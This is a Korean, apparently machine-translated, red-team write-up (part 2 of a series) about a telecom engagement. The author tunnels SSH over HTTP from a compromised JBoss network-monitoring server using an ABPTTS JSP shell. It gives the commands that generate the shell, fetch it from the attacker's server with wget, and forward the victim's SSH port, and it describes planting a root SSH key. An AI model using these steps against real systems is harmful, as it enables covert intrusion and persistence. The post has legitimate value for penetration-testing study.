TLDR; 통신 회사의 Red Team Engagement. 회사의 네트워크 모니터링 시스템(NMS)에 발판을 마련했습니다. HTTP를 통한 SSH 터널링과 관련된 역방향 셸 문제가 정렬되었습니다. HTTP를 통해 SSH를 받을 때 완전한 닌자가 되었습니다. 내부 네트워크 스캔을 위해 네트워크 내부에서 프록시 처리됩니다. SS7 애플리케이션으로 CDR 및 VLR에 액세스할 수 있습니다.

요약: 통신 회사의 레드팀 참여. 흥미로운 하위 도메인을 찾았고 해당 하위 도메인에서 전체 포트 스캔을 수행했으며 포트 12000/tcp, 14000/tcp 및 14100/tcp에서 실행 중인 JBoss 인스턴스를 찾았고(다행히도!) RCE용 JBoss를 악용했으며 이제 그 반대의 문제가 발생했습니다. 껍데기.

자세한 내용은 다음 링크를 참조하십시오.
1부 — RCE 가져오기 3부 — 터널 활용: 은밀한 SSH 및 동적 SSH 터널 4부 — CDR, SS7 애플리케이션 및 VLR에 액세스

이제 안정적인 리버스 쉘을 얻으려고 시도했지만 실패했습니다. 내 마음에 떠오른 다른 아이디어는 HTTP를 통한 역방향(HTTP를 통한 TCP 터널) 대신 바인드 셸(안정성을 위해 HTTP를 통해 SSH를 가져옴)을 얻는 것이었습니다. 하지만 여기서 정확히 무엇을 달성하고 있습니까?

HTTP를 통한 TCP 터널(TCP 안정성 목적 + 은밀한 SSH 연결(생성된 TCP 터널을 통해) + Metasploit을 사용한 내부 네트워크 스캔을 위한 SOCKS 터널(동적 SSH 터널) = 이러한 재귀 터널을 통해 데이터를 추출하기 위해 내부 네트워크 서비스를 악용합니다.

많이 복잡해보이죠? 여러 단계로 나누어 보겠습니다.

1. 먼저 HTTP/HTTPS(현재는>L2) 이외의 다른 프로토콜에 대한 통신을 지원하도록 내 서버와 NMS 서버 사이에 브리지를 만들었습니다. [ HTTP를 통한 TCP 터널 ]
2. 브리지( HTTP를 통한 TCP 터널 )가 생성되면 HTTP를 통해 SSH를 통해 NMS 서버에 연결할 수 있도록 내 서버( 2222/tcp )에서 NMS 서버( 22/tcp ) 로 SSH 포트 포워딩을 구성 및 구현했습니다 . (정확히 말하면 HTTP를 통한 TCP를 통한 SSH) 참고: NMS 서버의 SSH 서비스는 127.0.0.1에서 실행 중이었습니다.
3. 그런 다음 SSH를 통해 NMS 서버 에 액세스하기 위해 루트 로그인을 허용 하고 SSH 개인 키 (내 공개 키를 authorized_hosts 파일에 복사)를 생성하도록 NMS SSH 서버를 구성했습니다.
4. 개인 키를 사용하여 NMS에 대한 SSH 연결을 확인하고 작동하면 SOCKS( Dynamic SSH Tunnel )를 생성하여 SSH 터널을 통한 Metasploit(정확히 말하면 HTTP를 통한 TCP 터널을 통한 메타스플로잇)을 프록시화했습니다.

터널링 101

터널링 프로토콜은 한 네트워크에서 다른 네트워크로 데이터를 이동할 수 있게 해주는 통신 프로토콜 입니다 . 여기에는 캡슐화 라는 프로세스를 통해 개인 네트워크 통신이 공용 네트워크(예: 인터넷 ) 를 통해 전송되도록 허용하는 것이 포함됩니다 . 터널링에는 트래픽 데이터를 다른 형식으로 다시 패키징하는 작업 이 포함되기 때문에 아마도 표준 암호화를 사용하여 터널을 통해 실행되는 트래픽의 특성을 숨길 수 있습니다.

터널링 프로토콜은 실제로 서비스를 제공하는 패킷을 전달하기 위해 패킷 의 데이터 부분 ( 페이로드 )을 사용하여 작동합니다. 터널링은 OSI 또는 TCP/IP 프로토콜 제품군과 같은 계층화된 프로토콜 모델을 사용 하지만 일반적으로 네트워크에서 일반적으로 제공하지 않는 서비스를 전달하기 위해 페이로드를 사용할 때 계층화를 위반합니다. 일반적으로 전달 프로토콜은 페이로드 프로토콜보다 계층화된 모델에서 동일하거나 더 높은 수준에서 작동합니다.

출처: 위키백과

따라서 기본적으로 아이디어는 웹 서버에서 내부 네트워크로 모든 네트워크 패킷(TCP 패킷)을 전달하기 위해 웹 서버를 중간 프록시로 사용하는 것입니다.

TCP 터널링은 포트 액세스가 제한되고 송신 트래픽이 필터링된 상황에서 도움이 될 수 있습니다 . 내 경우에는 필터링이 많지 않았지만 이 기술을 사용하여 안정적인 셸 액세스를 얻었습니다.

이제는 서버에 이미 RCE가 있고 그것도 "루트" 권한이 있습니다. ABPTTS를 사용하여 JSP 기반 셸을 만드는 데 이 기회를 빠르게 활용했습니다.

태양을 향한 검은 길(ABPTTS)

GitHub 저장소에서 설명했듯이,

ABPTTS는 Python 클라이언트 스크립트와 웹 애플리케이션 서버 페이지/패키지를 사용하여 HTTP/HTTPS 연결을 통해 TCP 트래픽을 웹 애플리케이션 서버로 터널링합니다.

현재 이 도구는 JSP/WAR 및 ASP.NET 서버 측 구성 요소만 지원합니다.

그래서 아이디어는 ABPTTS를 사용하여 JSP 기반 셸을 만들고 웹 서버에 업로드하고 도구가 JSP 셸과 연결되도록 하고 HTTP를 통해 TCP 터널을 만들어 내 시스템과 서버 사이에 보안 셸(SSH)을 만드는 것이었습니다. .

파이썬 abpttsfactory.py -o jexws4.jsp

셸이 ABPTTS를 사용하여 생성되면 이 도구는 HTTP/HTTPS를 통해 TCP 터널을 만드는 데 사용할 구성 파일을 만들었습니다.

그런 다음 wget을 사용하여 JSP 셸을 서버에 업로드했습니다. 참고: jexws4.war 셸은 Jexboss용 패키지입니다. Jexboss를 통해 JBoss 취약점을 악용하면 도구가 자체 WAR 셸을 서버에 업로드합니다. 제 경우에는 이 WAR/JSP 셸(jexws4.jsp)을 찾아 ABPTTS 셸로 교체하려고 했습니다.

wget http://[MY SERVER]/jexws4.jsp -O <NMS 서버의 jexws4.jsp 쉘 위치>

ABPTTS 셸이 서버에 업로드되면 출력을 보기 위해 무작위 명령을 실행하여 Jexboss에서 빠르게 확인했습니다. 왜? 이제 Jexboss 셸은 ABPTTS 셸로 덮어쓰게 되었기 때문에 어떤 명령을 실행해도 출력은 항상 ABPTTS 셸로 인해 출력된 해시였습니다.

위의 스크린샷에서 볼 수 있듯이 "id" 명령을 실행했을 때 ABPTTS 셸이 성공적으로 업로드되었음을 증명하는 이상한 해시가 반환되었습니다!

이제 HTTP를 통한 TCP 터널을 구성했으므로 다음으로 하고 싶은 일은 서버에서 실행 중인 SSH 포트( NMS의 22/tcp )를 터널링하고 포트를 내 시스템( 2222/tcp )에 바인딩하는 것입니다. 왜? SSH를 통해 NMS에 연결할 수 있도록. 내가 여기서 무엇을 하려고 했는지 눈치채셨나요?

NMS와 내 서버에서 SSH 터널을 위한 SSH 부분을 아직 구성하지 않았지만. 지금은 포트 2222/tcp를 사용하여 내 서버에서 NMS의 로컬 포트 ​​22/tcp에 도달할 수 있도록 포트 포워딩 메커니즘을 준비했습니다.

python abpttsclient.py -c <구성 파일 위치> -u <ABPTTS 셸 URL> -f 127.0.0.1:2222/127.0.0.1:22

포트가 제대로 전달되는지 확인하기 위해 연결 테이블을 확인했습니다. 아래 스크린샷에서 볼 수 있듯이 내 서버의 포트 2222/tcp는 LISTEN 상태였습니다.

이제 다음으로 해야 할 일은 NMS에 연결하고 SOCKS(Dynamic SSH Tunnel)를 시작하도록 SSH 서버를 구성하는 것입니다. 나는 다음 게시물에서 이것을 다룰 것입니다 :

파트 3- 터널 활용: 은밀한 SSH 및 동적 터널

프로모션 시간!

내가 사용한 기술과 기본 개념에 대해 자세히 알고 싶다면 내 책을 읽을 수 있습니다( @himanshu_hax 와 공동 저술 ) .

실전 레드 팀 전술 — Amazon , PacktPub

Metasploit을 사용한 실습 웹 애플리케이션 침투 테스트 — Amazon , PacktPub